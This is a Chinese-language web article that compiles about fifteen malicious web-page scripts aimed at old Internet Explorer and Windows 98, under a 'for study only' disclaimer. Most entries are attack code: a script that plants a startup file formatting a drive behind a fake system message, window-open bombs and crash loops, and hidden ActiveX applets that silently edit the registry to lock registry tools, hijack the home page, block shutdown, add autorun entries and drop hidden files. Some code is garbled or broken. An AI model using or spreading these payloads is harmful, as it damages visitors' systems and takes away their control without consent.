網頁惡意代碼總結

http://www.webjx.com   出處:webjx.com整理  作者:閃電兒 
 以下代碼僅供學習研究使用,請勿使用害人,造成損失本人概不負責,謝謝合作!

  1、格式化硬盤



<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<script>
scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta";
scr.Doc="<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object><script>wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.);</"+"SCRIPT>";
scr.write();

  2、使 WINDOWS 98掉線的代碼

<html>
<head>
</head>
<a href="wincrash.htm" on mouseclick="alert("Go To Hell,Mall!")">HaHa!</a>
</html>
  wincrash.htm
<HTML>
<BODY>
<IMG SRC="c:\con\con">
<!-- or nul\nul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
</BODY>
</HTML>

  3、 IE視窗×××或者叫讓IE不段循環的代碼

<HTML>
<HEAD>
<TITLE>f\*\*k USA</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY
<SCRIPT LANGUAGE="javascript">
function WindowBomb()
{
var iCounter = 0 // dummy counter

while (true)
{
window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
</script>
</BODY>
</HTML>

  4、造成IE 5.0崩潰的代碼

<HTML>
<BODY>
<script>
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</SCRIPT>
</BODY>
</HTML>

  5、進入WINDOWS 之前彈出來的對話框代碼 到註冊表找到 LegalNoticeCaption , LegalNoticeText 刪除

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "這裏是標題欄 網頁教學網 www.webjx.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "這裏是標題欄 網頁教學網 www.webjx.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "請多留意本站的文章 www.webjx.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "請多留意本站的文章 www.webjx.com");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  6、造成 WINDOWS98 不能關機的代碼。 到註冊表找到 FastReboot 刪除就OK

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1");
Shl.RegWrite ("HKCU\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  7、讓電腦自動啓動程序的代碼 。 修改方法 找到相應鍵值http://www.webjx.com/刪除

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
文件://ActiveX/ initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://i50.yjpc.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  8、自動設成主頁代碼

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  9、修改IE標題欄目。 修改方法 將以下代碼中可以換的換成你想換的

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( WWW。WEBJX.COM )————( 網頁教學網惡意代碼請勿試用 )————( WWW。WEBJX.COM)");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( WWW。WEBJX.COM )————( 網頁教學網惡意代碼請勿試用 )————( WWW。WEBJX.COM)");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  10、在右鍵加進網頁鏈接 。修改方法:到註冊表找到 MenuExt 把它刪除就OK

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\網頁教學網\\", "c:\\yntop.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\網頁教學網\\contexts", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write(<html><head></head><\script language=java script>window.open("http://www.webjx.com");<\/script></html>);
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  11、IE 的 INTERNET 選項的主頁條失去作用變灰的代碼。 修改方法,找到 HomePage 刪除就OK

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjx set=webjx; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  12、回收站給改了名字的修改方法:打開註冊表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK

修改回收站的代碼

<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  13、註冊表給鎖住了,鎖註冊表的代碼。

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjxset=webjx; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

  14、在收藏夾生成文件的代碼,將以下代碼加進網頁後,只要別人一打開就可以自動加進收藏夾

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Favorites"+"\\"+"【★-網頁教學網-★】"+".URL");Shor.TargetPath="http://www.webjx.com";Shor.Save();}catch(yu){]catch(yu){]setTimeout("yuzi()",1000);</SCRIPT>

  15、在桌面生成的網頁文件

以下代碼就是在桌面上生成一份網頁的文件,一按打開的就是你的網頁

<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try{
//if (documents .cookie.indexOf("ChgLive") == -1)
//{

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Internet Explorer");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk("C:\\WINDOWS\\Desktop", "網頁教學網", "http://www.webjx.com");
//}
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章